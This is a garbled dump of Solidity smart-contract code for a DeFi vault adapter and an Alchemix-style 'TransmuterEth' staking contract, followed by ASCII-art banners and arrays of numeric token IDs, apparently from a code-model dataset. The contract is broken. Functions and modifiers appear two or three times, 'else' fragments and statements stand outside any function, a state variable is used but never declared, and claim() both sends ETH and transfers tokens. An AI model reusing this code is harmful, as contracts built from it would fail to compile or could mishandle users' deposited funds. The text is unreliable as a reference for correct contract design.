modifier onlyAdmin() { require(admin == msg.sender, "YearnVaultAdapter: only admin"); _; } /// @dev Gets the token that the vault accepts. /// /// @return the accepted token. function token() external view override returns (IDetailedERC20) { return IDetailedERC20(vault.token()); } /// @dev Gets the total value of the assets that the adapter holds in the vault. /// /// @return the total assets. function totalValue() external view override returns (uint256) { return _sharesToTokens(vault.balanceOf(address(this))); } /// @dev Deposits tokens into the vault. /// /// @param _amount the amount of tokens to deposit into the vault. function deposit(uint256 _amount) external override { vault.deposit(_amount); } /// @dev Withdraws tokens from the vault to the recipient. /// /// This function reverts if the caller is not the admin. /// /// @param _recipient the account to withdraw the tokes to. /// @param _amount the amount of tokens to withdraw. function withdraw(address _recipient, uint256 _amount) external override onlyAdmin { vault.withdraw(_tokensToShares(_amount),_recipient); } /// @dev Updates the vaults approval of the token to be the maximum value. function updateApproval() public { address _token = vault.token(); IDetailedERC20(_token).safeApprove(address(vault), uint256(-1)); } /// @dev Computes the number of tokens an amount of shares is worth. /// /// @param _sharesAmount the amount of shares. /// /// @return the number of tokens the shares are worth. function _sharesToTokens(uint256 _sharesAmount) internal view returns (uint256) { return _sharesAmount.mul(vault.pricePerShare()).div(10**decimals); } /// @dev Computes the number of shares an amount of tokens is worth. /// /// @param _tokensAmount the amount of shares. /// /// @return the number of shares the tokens are worth. function _tokensToShares(uint256 _tokensAmount) internal view returns (uint256) { return _tokensAmount.mul(10**decimals).div(vault.pricePerShare()); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } }
___ __ __ _ ___ __ _ / _ | / / ____ / / ___ __ _ (_) __ __ / _ \ ____ ___ ___ ___ ___ / /_ ___ (_) / __ | / / / __/ / _ \/ -_) / ' \ / / \ \ / / ___/ / __ -_) (_-</ -_) / _ \/ __/ (_-< _ /_/ |_|/_/ \__/ /__/\__/ /_/_/__/ /_\_\ /_/ /_/ \__/ /___/\__/ /__/\__/ /___/(_) .___________..______ ___ .__ __. _______..___ ___. __ __ .___________. _______ .______ | || _ \ / \ | \ | | / || \/ | | | | | | || ____|| _ \ `---| |----`| |_) | / ^ \ | \| | | (----`| \ / | | | | | `---| |----`| |__ | |_) | | | | / / /_\ \ | . ` | \ \ | |\/| | | | | | | | | __| | / | | | |\ \----. / _____ \ | |\ | .----) | | | | | | `--' | | | | |____ | |\ \----. |__| | _| `._____|/__/ \__\ |__| \__| |_______/ |__| |__| \______/ |__| |_______|| _| `._____|* @dev Implementation of the {IERC20Burnable} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20Burnable-approve}./
contract TransmuterEth is Context { using SafeMath for uint256; using SafeERC20 for IERC20Burnable; using Address for address; using VaultWithIndirection for VaultWithIndirection.Data; using VaultWithIndirection for VaultWithIndirection.List; address public constant ZERO_ADDRESS = address(0); uint256 public transmutationPeriod; address public alToken; address public token; mapping(address => uint256) public depositedAlTokens; mapping(address => uint256) public tokensInBucket; mapping(address => uint256) public realisedTokens; mapping(address => uint256) public lastDividendPoints; mapping(address => bool) public userIsKnown; mapping(uint256 => address) public userList; uint256 public nextUser; uint256 public totalSupplyAltokens; uint256 public buffer; uint256 public lastDepositBlock; uint256 public pointMultiplier = 10e18; uint256 public totalDividendPoints; uint256 public unclaimedDividends; mapping (address => bool) public whiteList; mapping (address => bool) public keepers; uint256 public plantableMargin = 5; address public governance; address public pendingGovernance; address public sentinel; bool public pause; address public rewards; mapping(YearnVaultAdapterWithIndirection => bool) public adapters; VaultWithIndirection.List private _vaults; bool public initialized; mapping(address => uint256) public lastUserAction; uint256 public minUserActionDelay; event GovernanceUpdated( address governance ); event PendingGovernanceUpdated( address pendingGovernance ); event SentinelUpdated( address sentinel ); event TransmuterPeriodUpdated( uint256 newTransmutationPeriod ); event TokenClaimed( address claimant, address token, uint256 amountClaimed ); event AlUsdStaked( address staker, uint256 amountStaked ); event AlUsdUnstaked( address staker, uint256 amountUnstaked ); event Transmutation( address transmutedTo, uint256 amountTransmuted ); event ForcedTransmutation( address transmutedBy, address transmutedTo, uint256 amountTransmuted ); event Distribution( address origin, uint256 amount ); event WhitelistSet( address whitelisted, bool state ); event KeepersSet( address[] keepers, bool[] states ); event PlantableThresholdUpdated( uint256 plantableThreshold ); event PlantableMarginUpdated( uint256 plantableMargin ); event MinUserActionDelayUpdated( uint256 minUserActionDelay ); event ActiveVaultUpdated( YearnVaultAdapterWithIndirection indexed adapter ); event PauseUpdated( bool status ); event FundsRecalled( uint256 indexed vaultId, uint256 withdrawnAmount, uint256 decreasedValue ); event FundsHarvested( uint256 withdrawnAmount, uint256 decreasedValue ); event RewardsUpdated( address treasury ); event MigrationComplete( address migrateTo, uint256 fundsMigrated ); import {YearnVaultAdapterWithIndirection} from "./adapters/YearnVaultAdapterWithIndirection.sol"; import {VaultWithIndirection} from "./libraries/alchemist/VaultWithIndirection.sol"; import {ITransmuter} from "./interfaces/ITransmuter.sol"; import {IWETH9} from "./interfaces/IWETH9.sol"; constructor(address _alToken, address _token, address _governance) public { require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov"); governance = _governance; alToken = _alToken; token = _token; transmutationPeriod = 500000; minUserActionDelay = 1; pause = true; } function dividendsOwing(address account) public view returns (uint256) { uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]); return depositedAlTokens[account].mul(newDividendPoints).div(pointMultiplier); } modifier noContractAllowed() { require(!address(msg.sender).isContract() && msg.sender == tx.origin, "no contract calls"); _; } modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if (owing > 0) { unclaimedDividends = unclaimedDividends.sub(owing); tokensInBucket[account] = tokensInBucket[account].add(owing); } lastDividendPoints[account] = totalDividendPoints; _; } modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if (owing > 0) { unclaimedDividends = unclaimedDividends.sub(owing); tokensInBucket[account] = tokensInBucket[account].add(owing); } lastDividendPoints[account] = totalDividendPoints; _; } modifier checkIfNewUser() { if (!userIsKnown[msg.sender]) { userList[nextUser] = msg.sender; userIsKnown[msg.sender] = true; nextUser++; } _; } modifier checkIfNewUser() { if (!userIsKnown[msg.sender]) { userList[nextUser] = msg.sender; userIsKnown[msg.sender] = true; nextUser++; } _; } modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; if (_buffer > 0) { uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); if(deltaTime >= transmutationPeriod) { _toDistribute = _buffer; if(_buffer.mul(deltaTime) > transmutationPeriod) { _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod); } } if(_toDistribute > 0){ buffer = _buffer.sub(_toDistribute); increaseAllocations(_toDistribute); } } _; } modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; if (_buffer > 0) { uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); if(deltaTime >= transmutationPeriod) { _toDistribute = _buffer; if(_buffer.mul(deltaTime) > transmutationPeriod) { _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod); } } if(_toDistribute > 0){ buffer = _buffer.sub(_toDistribute); increaseAllocations(_toDistribute); } } _; } modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; if (_buffer > 0) { uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); if(deltaTime >= transmutationPeriod) { _toDistribute = _buffer; if(_buffer.mul(deltaTime) > transmutationPeriod) { _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod); } } if(_toDistribute > 0){ buffer = _buffer.sub(_toDistribute); increaseAllocations(_toDistribute); } } _; } } else { modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; if (_buffer > 0) { uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); if(deltaTime >= transmutationPeriod) { _toDistribute = _buffer; if(_buffer.mul(deltaTime) > transmutationPeriod) { _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod); } } if(_toDistribute > 0){ buffer = _buffer.sub(_toDistribute); increaseAllocations(_toDistribute); } } _; } modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; if (_buffer > 0) { uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); if(deltaTime >= transmutationPeriod) { _toDistribute = _buffer; if(_buffer.mul(deltaTime) > transmutationPeriod) { _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod); } } if(_toDistribute > 0){ buffer = _buffer.sub(_toDistribute); increaseAllocations(_toDistribute); } } _; } lastDepositBlock = _currentBlock; modifier onlyWhitelisted() { require(whiteList[msg.sender], "Transmuter: !whitelisted"); _; } modifier onlyKeeper() { require(keepers[msg.sender], "Transmuter: !keeper"); _; } modifier onlyGov() { require(msg.sender == governance, "Transmuter: !governance"); _; } modifier ensureUserActionDelay() { require(block.number.sub(lastUserAction[msg.sender]) >= minUserActionDelay, "action delay not met"); lastUserAction[msg.sender] = block.number; _; } function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov() { transmutationPeriod = newTransmutationPeriod; emit TransmuterPeriodUpdated(transmutationPeriod); } function claim(bool asEth) public noContractAllowed() { address sender = msg.sender; require(realisedTokens[sender] > 0); uint256 value = realisedTokens[sender]; realisedTokens[sender] = 0; ensureSufficientFundsExistLocally(value); if (asEth) { IWETH9(token).withdraw(value); payable(sender).transfer(value); IERC20Burnable(token).safeTransfer(sender, value); } emit TokenClaimed(sender, token, value); } function claim(bool asEth) public noContractAllowed() { address sender = msg.sender; require(realisedTokens[sender] > 0); uint256 value = realisedTokens[sender]; realisedTokens[sender] = 0; ensureSufficientFundsExistLocally(value); if (asEth) { IWETH9(token).withdraw(value); payable(sender).transfer(value); IERC20Burnable(token).safeTransfer(sender, value); } emit TokenClaimed(sender, token, value); } } else { function unstake(uint256 amount) public noContractAllowed() updateAccount(msg.sender) { address sender = msg.sender; require(depositedAlTokens[sender] >= amount,"Transmuter: unstake amount exceeds deposited amount"); depositedAlTokens[sender] = depositedAlTokens[sender].sub(amount); totalSupplyAltokens = totalSupplyAltokens.sub(amount); IERC20Burnable(alToken).safeTransfer(sender, amount); emit AlUsdUnstaked(sender, amount); } function stake(uint256 amount) public noContractAllowed() ensureUserActionDelay() runPhasedDistribution() updateAccount(msg.sender) checkIfNewUser() { require(!pause, "emergency pause enabled"); address sender = msg.sender; IERC20Burnable(alToken).safeTransferFrom(sender, address(this), amount); totalSupplyAltokens = totalSupplyAltokens.add(amount); depositedAlTokens[sender] = depositedAlTokens[sender].add(amount); emit AlUsdStaked(sender, amount); } function transmute() public noContractAllowed() ensureUserActionDelay() runPhasedDistribution() updateAccount(msg.sender) { address sender = msg.sender; uint256 pendingz = tokensInBucket[sender]; uint256 diff; require(pendingz > 0, "need to have pending in bucket"); tokensInBucket[sender] = 0; if (pendingz > depositedAlTokens[sender]) { diff = pendingz.sub(depositedAlTokens[sender]); pendingz = depositedAlTokens[sender]; } emit Transmutation(sender, pendingz); } function transmute() public noContractAllowed() ensureUserActionDelay() runPhasedDistribution() updateAccount(msg.sender) { address sender = msg.sender; uint256 pendingz = tokensInBucket[sender]; uint256 diff; require(pendingz > 0, "need to have pending in bucket"); tokensInBucket[sender] = 0; if (pendingz > depositedAlTokens[sender]) { diff = pendingz.sub(depositedAlTokens[sender]); pendingz = depositedAlTokens[sender]; } emit Transmutation(sender, pendingz); } depositedAlTokens[sender] = depositedAlTokens[sender].sub(pendingz); IERC20Burnable(alToken).burn(pendingz); totalSupplyAltokens = totalSupplyAltokens.sub(pendingz); increaseAllocations(diff); realisedTokens[sender] = realisedTokens[sender].add(pendingz); function forceTransmute(address toTransmute) public noContractAllowed() ensureUserActionDelay() runPhasedDistribution() updateAccount(msg.sender) updateAccount(toTransmute) checkIfNewUser() { uint256 pendingz = tokensInBucket[toTransmute]; require( pendingz > depositedAlTokens[toTransmute], "Transmuter: !overflow" ); tokensInBucket[toTransmute] = 0; uint256 diff = pendingz.sub(depositedAlTokens[toTransmute]); pendingz = depositedAlTokens[toTransmute]; depositedAlTokens[toTransmute] = 0; IERC20Burnable(alToken).burn(pendingz); totalSupplyAltokens = totalSupplyAltokens.sub(pendingz); tokensInBucket[msg.sender] = tokensInBucket[msg.sender].add(diff); realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz); uint256 value = realisedTokens[toTransmute]; ensureSufficientFundsExistLocally(value); realisedTokens[toTransmute] = 0; IWETH9(token).withdraw(value); payable(toTransmute).transfer(value); emit ForcedTransmutation(msg.sender, toTransmute, value); } function exit() public noContractAllowed() { transmute(); uint256 toWithdraw = depositedAlTokens[msg.sender]; unstake(toWithdraw); } function transmuteAndClaim(bool asEth) public noContractAllowed() { transmute(); claim(asEth); } function transmuteClaimAndWithdraw(bool asEth) public noContractAllowed() { transmute(); claim(asEth); uint256 toWithdraw = depositedAlTokens[msg.sender]; unstake(toWithdraw); } function distribute(address origin, uint256 amount) public onlyWhitelisted() runPhasedDistribution() { require(!pause, "emergency pause enabled"); IERC20Burnable(token).safeTransferFrom(origin, address(this), amount); buffer = buffer.add(amount); _plantOrRecallExcessFunds(); emit Distribution(origin, amount); } function increaseAllocations(uint256 amount) internal { if(totalSupplyAltokens > 0 && amount > 0) { totalDividendPoints = totalDividendPoints.add( amount.mul(pointMultiplier).div(totalSupplyAltokens) ); unclaimedDividends = unclaimedDividends.add(amount); buffer = buffer.add(amount); } } function increaseAllocations(uint256 amount) internal { if(totalSupplyAltokens > 0 && amount > 0) { totalDividendPoints = totalDividendPoints.add( amount.mul(pointMultiplier).div(totalSupplyAltokens) ); unclaimedDividends = unclaimedDividends.add(amount); buffer = buffer.add(amount); } } } else { function userInfo(address user) public view returns ( uint256 depositedAl, uint256 pendingdivs, uint256 inbucket, uint256 realised ) { uint256 _depositedAl = depositedAlTokens[user]; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod); if(block.number.sub(lastDepositBlock) > transmutationPeriod){ _toDistribute = buffer; } uint256 _pendingdivs = _toDistribute.mul(depositedAlTokens[user]).div(totalSupplyAltokens); uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user)); uint256 _realised = realisedTokens[user]; return (_depositedAl, _pendingdivs, _inbucket, _realised); } function userInfo(address user) public view returns ( uint256 depositedAl, uint256 pendingdivs, uint256 inbucket, uint256 realised ) { uint256 _depositedAl = depositedAlTokens[user]; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod); if(block.number.sub(lastDepositBlock) > transmutationPeriod){ _toDistribute = buffer; } uint256 _pendingdivs = _toDistribute.mul(depositedAlTokens[user]).div(totalSupplyAltokens); uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user)); uint256 _realised = realisedTokens[user]; return (_depositedAl, _pendingdivs, _inbucket, _realised); } function getMultipleUserInfo(uint256 from, uint256 to) public view returns (address[] memory theUserList, uint256[] memory theUserData) { uint256 i = from; uint256 delta = to - from; uint256 y = 0; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod); if(block.number.sub(lastDepositBlock) > transmutationPeriod){ _toDistribute = buffer; } for (uint256 x = 0; x < delta; x += 1) { _theUserList[x] = userList[i]; _theUserData[y] = depositedAlTokens[userList[i]]; _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens)); y += 2; i += 1; } return (_theUserList, _theUserData); } function getMultipleUserInfo(uint256 from, uint256 to) public view returns (address[] memory theUserList, uint256[] memory theUserData) { uint256 i = from; uint256 delta = to - from; uint256 y = 0; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod); if(block.number.sub(lastDepositBlock) > transmutationPeriod){ _toDistribute = buffer; } for (uint256 x = 0; x < delta; x += 1) { _theUserList[x] = userList[i]; _theUserData[y] = depositedAlTokens[userList[i]]; _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens)); y += 2; i += 1; } return (_theUserList, _theUserData); } function getMultipleUserInfo(uint256 from, uint256 to) public view returns (address[] memory theUserList, uint256[] memory theUserData) { uint256 i = from; uint256 delta = to - from; uint256 y = 0; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod); if(block.number.sub(lastDepositBlock) > transmutationPeriod){ _toDistribute = buffer; } for (uint256 x = 0; x < delta; x += 1) { _theUserList[x] = userList[i]; _theUserData[y] = depositedAlTokens[userList[i]]; _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens)); y += 2; i += 1; } return (_theUserList, _theUserData); } function bufferInfo() public view returns (uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer){ _deltaBlocks = block.number.sub(lastDepositBlock); _buffer = buffer; _toDistribute = _buffer.mul(_deltaBlocks).div(transmutationPeriod); } function setPendingGovernance(address _pendingGovernance) external onlyGov() { require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov"); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } function acceptGovernance() external { require(msg.sender == pendingGovernance,"!pendingGovernance"); address _pendingGovernance = pendingGovernance; governance = _pendingGovernance; emit GovernanceUpdated(_pendingGovernance); } function setWhitelist(address _toWhitelist, bool _state) external onlyGov() { whiteList[_toWhitelist] = _state; emit WhitelistSet(_toWhitelist, _state); } function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov() { uint256 n = _keepers.length; for(uint256 i = 0; i < n; i++) { keepers[_keepers[i]] = _states[i]; } emit KeepersSet(_keepers, _states); } function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov() { uint256 n = _keepers.length; for(uint256 i = 0; i < n; i++) { keepers[_keepers[i]] = _states[i]; } emit KeepersSet(_keepers, _states); } function initialize(YearnVaultAdapterWithIndirection _adapter) external onlyGov { require(!initialized, "Transmuter: already initialized"); require(rewards != ZERO_ADDRESS, "Transmuter: cannot initialize rewards address to 0x0"); _updateActiveVault(_adapter); initialized = true; } function migrate(YearnVaultAdapterWithIndirection _adapter) external onlyGov() { _updateActiveVault(_adapter); } function _updateActiveVault(YearnVaultAdapterWithIndirection _adapter) internal { require(_adapter != YearnVaultAdapterWithIndirection(ZERO_ADDRESS), "Transmuter: active vault address cannot be 0x0."); require(address(_adapter.token()) == token, "Transmuter.vault: token mismatch."); require(!adapters[_adapter], "Adapter already in use"); adapters[_adapter] = true; _vaults.push(VaultWithIndirection.Data({ adapter: _adapter, totalDeposited: 0 })); emit ActiveVaultUpdated(_adapter); } function _updateActiveVault(YearnVaultAdapterWithIndirection _adapter) internal { require(_adapter != YearnVaultAdapterWithIndirection(ZERO_ADDRESS), "Transmuter: active vault address cannot be 0x0."); require(address(_adapter.token()) == token, "Transmuter.vault: token mismatch."); require(!adapters[_adapter], "Adapter already in use"); adapters[_adapter] = true; _vaults.push(VaultWithIndirection.Data({ adapter: _adapter, totalDeposited: 0 })); emit ActiveVaultUpdated(_adapter); } function vaultCount() external view returns (uint256) { return _vaults.length(); } function getVaultAdapter(uint256 _vaultId) external view returns (address) { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); return address(_vault.adapter); } function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); return _vault.totalDeposited; } function ensureSufficientFundsExistLocally(uint256 amt) internal { uint256 currentBal = IERC20Burnable(token).balanceOf(address(this)); if (currentBal < amt) { uint256 diff = amt - currentBal; _recallExcessFundsFromActiveVault(plantableThreshold.add(diff)); } } function ensureSufficientFundsExistLocally(uint256 amt) internal { uint256 currentBal = IERC20Burnable(token).balanceOf(address(this)); if (currentBal < amt) { uint256 diff = amt - currentBal; _recallExcessFundsFromActiveVault(plantableThreshold.add(diff)); } } function recallAllFundsFromVault(uint256 _vaultId) external { require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel"); _recallAllFundsFromVault(_vaultId); } function _recallAllFundsFromVault(uint256 _vaultId) internal { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdrawAll(address(this)); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); } function recallFundsFromVault(uint256 _vaultId, uint256 _amount) external { require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel"); _recallFundsFromVault(_vaultId, _amount); } function _recallFundsFromVault(uint256 _vaultId, uint256 _amount) internal { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); } function _recallFundsFromActiveVault(uint256 _amount) internal { _recallFundsFromVault(_vaults.lastIndex(), _amount); } function _plantOrRecallExcessFunds() internal { uint256 bal = IERC20Burnable(token).balanceOf(address(this)); uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100); if (bal > plantableThreshold.add(marginVal)) { uint256 plantAmt = bal - plantableThreshold; VaultWithIndirection.Data storage _activeVault = _vaults.last(); _activeVault.deposit(plantAmt); uint256 harvestAmt = plantableThreshold - bal; _recallExcessFundsFromActiveVault(harvestAmt); } } function _plantOrRecallExcessFunds() internal { uint256 bal = IERC20Burnable(token).balanceOf(address(this)); uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100); if (bal > plantableThreshold.add(marginVal)) { uint256 plantAmt = bal - plantableThreshold; VaultWithIndirection.Data storage _activeVault = _vaults.last(); _activeVault.deposit(plantAmt); uint256 harvestAmt = plantableThreshold - bal; _recallExcessFundsFromActiveVault(harvestAmt); } } } else if (bal < plantableThreshold.sub(marginVal)) { function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal { VaultWithIndirection.Data storage _activeVault = _vaults.last(); uint256 activeVaultVal = _activeVault.totalValue(); if (activeVaultVal < _recallAmt) { _recallAmt = activeVaultVal; } if (_recallAmt > 0) { _recallFundsFromActiveVault(_recallAmt); } } function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal { VaultWithIndirection.Data storage _activeVault = _vaults.last(); uint256 activeVaultVal = _activeVault.totalValue(); if (activeVaultVal < _recallAmt) { _recallAmt = activeVaultVal; } if (_recallAmt > 0) { _recallFundsFromActiveVault(_recallAmt); } } function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal { VaultWithIndirection.Data storage _activeVault = _vaults.last(); uint256 activeVaultVal = _activeVault.totalValue(); if (activeVaultVal < _recallAmt) { _recallAmt = activeVaultVal; } if (_recallAmt > 0) { _recallFundsFromActiveVault(_recallAmt); } } function setSentinel(address _sentinel) external onlyGov() { require(_sentinel != ZERO_ADDRESS, "Transmuter: sentinel address cannot be 0x0."); sentinel = _sentinel; emit SentinelUpdated(_sentinel); } function setPlantableThreshold(uint256 _plantableThreshold) external onlyGov() { plantableThreshold = _plantableThreshold; emit PlantableThresholdUpdated(_plantableThreshold); } function setPlantableMargin(uint256 _plantableMargin) external onlyGov() { plantableMargin = _plantableMargin; emit PlantableMarginUpdated(_plantableMargin); } function setMinUserActionDelay(uint256 _minUserActionDelay) external onlyGov() { minUserActionDelay = _minUserActionDelay; emit MinUserActionDelayUpdated(_minUserActionDelay); } function setPause(bool _pause) external { require(msg.sender == governance || msg.sender == sentinel, "!(gov || sentinel)"); pause = _pause; emit PauseUpdated(_pause); } function harvest(uint256 _vaultId) external onlyKeeper() returns (uint256, uint256) { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(rewards); emit FundsHarvested(_harvestedAmount, _decreasedValue); return (_harvestedAmount, _decreasedValue); } function setRewards(address _rewards) external onlyGov() { require(_rewards != ZERO_ADDRESS, "Transmuter: rewards address cannot be 0x0."); rewards = _rewards; emit RewardsUpdated(_rewards); } function migrateFunds(address migrateTo) external onlyGov() { require(migrateTo != address(0), "cannot migrate to 0x0"); require(pause, "migrate: set emergency exit first"); uint256 totalFunds = IERC20Burnable(token).balanceOf(address(this)); uint256 migratableFunds = totalFunds.sub(totalSupplyAltokens, "not enough funds to service stakes"); IERC20Burnable(token).approve(migrateTo, migratableFunds); ITransmuter(migrateTo).distribute(address(this), migratableFunds); emit MigrationComplete(migrateTo, migratableFunds); } function recoverLostFunds() external onlyGov() { payable(governance).transfer(address(this).balance); } receive() external payable {} }
11,932,810
[ 1, 31268, 565, 1001, 3639, 1001, 7734, 389, 9079, 19608, 17311, 1001, 540, 389, 282, 342, 389, 571, 225, 342, 342, 19608, 67, 225, 342, 342, 225, 19608, 282, 1001, 389, 282, 261, 67, 13, 1001, 1001, 4202, 342, 389, 521, 225, 19608, 67, 19608, 282, 19608, 19608, 282, 19608, 225, 342, 342, 67, 225, 19608, 225, 261, 67, 13, 225, 342, 1001, 571, 342, 342, 342, 1001, 19, 342, 389, 18368, 300, 67, 13, 342, 225, 296, 521, 342, 342, 225, 521, 521, 342, 1377, 342, 19608, 19, 342, 1001, 300, 67, 13, 261, 67, 17, 1757, 300, 67, 13, 342, 389, 18368, 1001, 19, 261, 67, 17, 32, 389, 342, 67, 19, 571, 67, 96, 18510, 19, 225, 521, 972, 19, 342, 972, 24441, 972, 19, 342, 67, 18510, 19, 972, 19, 225, 342, 22202, 22202, 1377, 342, 67, 19, 565, 342, 67, 19, 282, 521, 972, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 2604, 10735, 264, 41, 451, 353, 1772, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 38, 321, 429, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 565, 1450, 17329, 1190, 3866, 2769, 364, 17329, 1190, 3866, 2769, 18, 751, 31, 203, 565, 1450, 17329, 1190, 3866, 2769, 364, 17329, 1190, 3866, 2769, 18, 682, 31, 203, 203, 565, 1758, 1071, 5381, 18449, 67, 15140, 273, 1758, 12, 20, 1769, 203, 565, 2254, 5034, 1071, 906, 28868, 5027, 31, 203, 203, 565, 1758, 1071, 524, 1345, 31, 203, 565, 1758, 1071, 1147, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 443, 1724, 329, 1067, 5157, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 2430, 382, 4103, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 2863, 5918, 5157, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 1142, 7244, 26746, 5636, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 729, 2520, 11925, 31, 203, 565, 2874, 12, 11890, 5034, 516, 1758, 13, 1071, 729, 682, 31, 203, 565, 2254, 5034, 1071, 1024, 1299, 31, 203, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 1067, 7860, 31, 203, 565, 2254, 5034, 1071, 1613, 31, 203, 565, 2254, 5034, 1071, 1142, 758, 1724, 1768, 31, 203, 203, 565, 2254, 5034, 1071, 1634, 23365, 273, 1728, 73, 2643, 31, 203, 203, 565, 2254, 5034, 1071, 2078, 7244, 26746, 2 ]
